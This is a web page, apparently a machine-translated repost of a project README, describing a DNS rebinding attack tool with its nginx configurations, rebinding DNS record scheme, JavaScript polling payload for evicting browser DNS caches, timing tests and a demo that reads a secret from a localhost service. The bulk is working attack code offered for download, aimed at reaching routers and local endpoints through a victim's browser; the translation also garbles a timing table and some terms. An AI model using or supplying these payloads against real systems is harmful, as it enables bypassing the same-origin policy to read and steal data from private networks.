Ferramenta de religação de DNS – Ferramenta de religação de DNS com scripts personalizados

Inspirado por @tavisio
Este projeto pretende ser um Kit de ferramentas tudo-em-um para testar novos ataques de religação de DNS e minha opinião sobre como entender esse tipo de ataque. Consiste em um servidor web e um pseudo servidor DNS que responde apenas às consultas A.

O índice raiz do servidor da web permite configurar e executar o ataque com um gui da web rudimentar. Consulte dnsrebindtool.43z.one . 
Uma configuração básica do nginx para hospedar o servidor da web

server {
  listen 80;
  server_name dnsrebindtool.43z.one;

  location / {
    proxy_pass http://localhost:5000;
  }
}

A rota / attack do servidor da web lê o parâmetro GET script que deve fornecer javascript codificado em basic64 e responde com o código decodificado (envolvido em um setTimeout) incorporado em uma página HTML comum.

% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk=" 
<html>
    <script>

    setTimeout(function(){
      alert(1) 
    }, 3000)

  </script>
</html

No meu registrador do domínio 43z.one, configurei um registro NS para o subdomínio rebindpara apontar para o IP em que essa ferramenta está hospedada.

ns       A   81.4.124.10
rebind   NS  ns.43z.one

O servidor DNS responde apenas às consultas A neste formato 
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
A primeira parte (subdomínio) é apenas uma identificação aleatória e deve ser gerada para cada sessão de ataque (o gui da web faz isso a cada recarregamento). Em segundo lugar, o IP que o servidor DNS deve responder pelos próximos 2 segundos e o terceiro que o servidor deve responder após esse tempo.

$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one 
Fri Feb  2 21:18:20 CET 2018
Server:   8.8.8.8
Address:  8.8.8.8#53

Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10

$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb  2 21:18:23 CET 2018
Server:   8.8.8.8
Address:  8.8.8.8#53

Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1

A última paz ausente é uma configuração nginx para os domínios de religação. Somente a rota / attack deve ser passada para a ferramenta que outros devem responder com um erro. Isso permite atacar outros serviços na porta 80 com todas as rotas, exceto / ataque. (como / api / Monitoring / stats um endpoint exposto pelo meu roteador )

server {
  listen 80;
  server_name *.rebind.43z.one;

  location / {
    return 404;
  }

  location /attack {
    proxy_pass http://localhost:5000/attack;
  }
}

Despejo de cache DNS

var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// first time the browser sees this domain it queries the dns server
// and gets 81.4.124.10

// sleep for more than 2 sec

xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// still uses 81.4.124.10 (AND NOT 127.0.0.1)
// NO dns query happened browser used cached IP

Este é um problema para esse tipo de ataque. Para funcionar, o navegador deve reemitir uma nova consulta DNS para obter o segundo IP. Em teoria, se você apenas esperar o tempo suficiente entre as solicitações, uma nova consulta deve acontecer. Meus testes mostram que existe uma abordagem mais rápida, porém mais agressiva. Pode ser muito provável que isso seja específico da instalação. Precisa de mais testes Usei o script a seguir para medir o valor ideal para a variável WAIT. Testado no Chromium 62.0.3202.89 em execução no Debian buster / sid.

var WAIT = 200
var start = Date.now()

var interval = setInterval(function(){
  var xhr = new XMLHttpRequest()
  xhr.open('GET', '//' + $REBIND_DOMAIN, false)

  xhr.send()

  if(xhr.status == 200){
    document.body.innerHTML = (Date.now() - start)/1000
    document.body.innerHTML += xhr.responseText
    clearInterval(interval)
    return
  }
}, WAIT)
Valor de espera em mssolicitações chrome enviaTempo até que as consultas dns novamente
0 070060
1070060
10060063.
12050063.
15040063.
18040075
20030063.
22030069
25030078
28030087
30020063.
32020067
34020071
36020075
38020079
40020083
1000100103

Comecei um novo repositório apenas para explorar esse testador de despejo de cache de DNS
Reunindo tudo e testando.

echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1

Esta instância do netcat exibe algum conteúdo ao qual gostaria de obter acesso. Eu mantenho o domínio de religação 
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one padrão e o script padrão

var start = Date.now()

var interval = setInterval(function(){
  var xhr = new XMLHttpRequest()
  xhr.open('GET', '//' + $REBIND_DOMAIN, false)

  xhr.send()

  if(xhr.status == 200){
    document.body.innerHTML = (Date.now() - start)/1000
    document.body.innerHTML += xhr.responseText
    clearInterval(interval)
    return
  }
}, 200)

em dnsrebindtool.43z.one e pressione o botão Ataque. Abra a guia de rede das ferramentas de desenvolvimento para ver o que está acontecendo em segundo plano. Para mim, após cerca de 60 segundos, a corda TOPSECRETfica cheia e o tempo que levou. A religação do DNS contornou o POP . Para extrair os dados violados do iframe, é possível usar Window.PostMessage () ou incluir código que encaminhe os dados para outro servidor atacante dentro do próprio script.

Baixar Dns-Rebinding-Tool

Seja o primeiro a comentar

Deixe uma resposta

O seu endereço de email não será publicado.


*